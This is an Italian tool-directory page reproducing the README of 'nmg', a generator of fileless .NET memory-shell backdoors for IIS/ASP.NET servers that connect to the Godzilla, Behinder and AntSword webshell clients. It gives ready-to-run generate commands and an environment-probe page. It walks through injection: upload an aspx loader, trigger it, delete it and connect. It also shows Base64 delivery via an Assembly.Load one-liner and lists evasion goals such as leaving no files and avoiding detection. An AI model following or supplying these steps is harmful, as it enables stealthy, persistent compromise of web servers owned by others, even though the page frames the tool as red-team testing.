Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/baguette168/nmg
Strumenti DifensiviGenerazione di PayloadMeccanismi di PersistenzaSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingRed TeamingStrumento di Accesso RemotoGenerazione di ShellcodeSviluppo Payload
GitHubbaguette168/nmg

nmg

Genera payload memory-shell .NET parametrizzati (VPP, route MVC, HttpListener) compatibili con i client Godzilla, Behinder e AntSword per il red team testing.

Vedi Repository
7512 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

NMG - Generatore di memory-shell .NET

.NET Tests License Platform

Generatore parametrizzato di memory shell .NET | Red team / security testing | equivalente di JMG per .NET

Architettura

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

Cos'è NMG?

NMG genera payload memory shell .NET parametrizzati che si iniettano nelle applicazioni IIS/ASP.NET senza lasciare file su disco. Dopo l'iniezione, ti connetti con i gestori di webshell esistenti (Godzilla / Behinder / AntSword) - NMG si occupa solo di far funzionare il lato server.

Pensalo come: parametri di input -> payload compilato -> iniezione -> connessione con il client

Funzionalità

Tipi di Memory Shell

TipoTarget.NET FrameworkPunto di attivazione
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (indipendente da IIS)

Protocolli delle Shell

ProtocolloClientCrittografiaVerificato
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ End-to-end
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ End-to-end
antswordAntSwordBase64✅ End-to-end

Formati di Output

FormatoCaso d'uso
aspxCarica in una directory scrivibile, accedi una volta per iniettare
b64Per la distribuzione via RCE tramite deserializzazione/iniezione di espressioni
dllDLL grezza per loader personalizzati

Sottocomandi

ComandoScopo
generateGenera il payload memory shell
probeGenera un aspx di rilevamento dell'ambiente (riporta CLR/trust/MVC/VPP)
versionMostra la versione
helpMostra l'utilizzo

Web UI

Interfaccia web integrata con tema Inset Dark (minimalismo in stile Linear):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

Avvio rapido

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

Metodi di iniezione

Metodo 1 — iniettore ASPX:

  1. Carica il file .aspx generato in qualsiasi directory scrivibile sul target
  2. Accedivi una volta tramite browser (attiva Assembly.Load + registrazione VPP)
  3. Elimina il file aspx
  4. Connettiti con il tuo client webshell a qualsiasi .aspx/.ashx/.asmx esistente sul sito

Metodo 2 — Base64 (consegna RCE): Esegui in qualsiasi punto di esecuzione del codice:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

Carica il file probe.aspx generato e accedilo una volta. Restituisce un JSON con:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

Usalo per determinare quale tipo di memory shell e protocollo utilizzare.

Principi di progettazione

  1. Host-safe: tutti i percorsi di esecuzione sono racchiusi in try-catch; qualsiasi eccezione lascia passare silenziosamente la richiesta
  2. Idempotente: l'iniezione ripetuta non accumula registrazioni
  3. Nessun residuo di file: dopo l'iniezione, nessun nuovo file nella directory web
  4. Deterministico: stessi parametri + stesso seed = output identico byte per byte (NFR-5)
  5. Nessuna compilazione dinamica sul target: il payload è precompilato, evita il rilevamento di ASP.xxx_aspx+ClassName
  6. Doppia registrazione: VPP usa prima l'API ufficiale, con fallback alla sostituzione diretta dei campi per la modalità IIS Integrated

Compilazione

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

Struttura del progetto

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

Riferimenti

  • BeichenDream/GodzillaMemoryShellProject.NET
  • La serie di memory shell ASP.NET di yzddmr6 — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java Memory-shell Generator

Licenza

MIT

Scarica lo strumento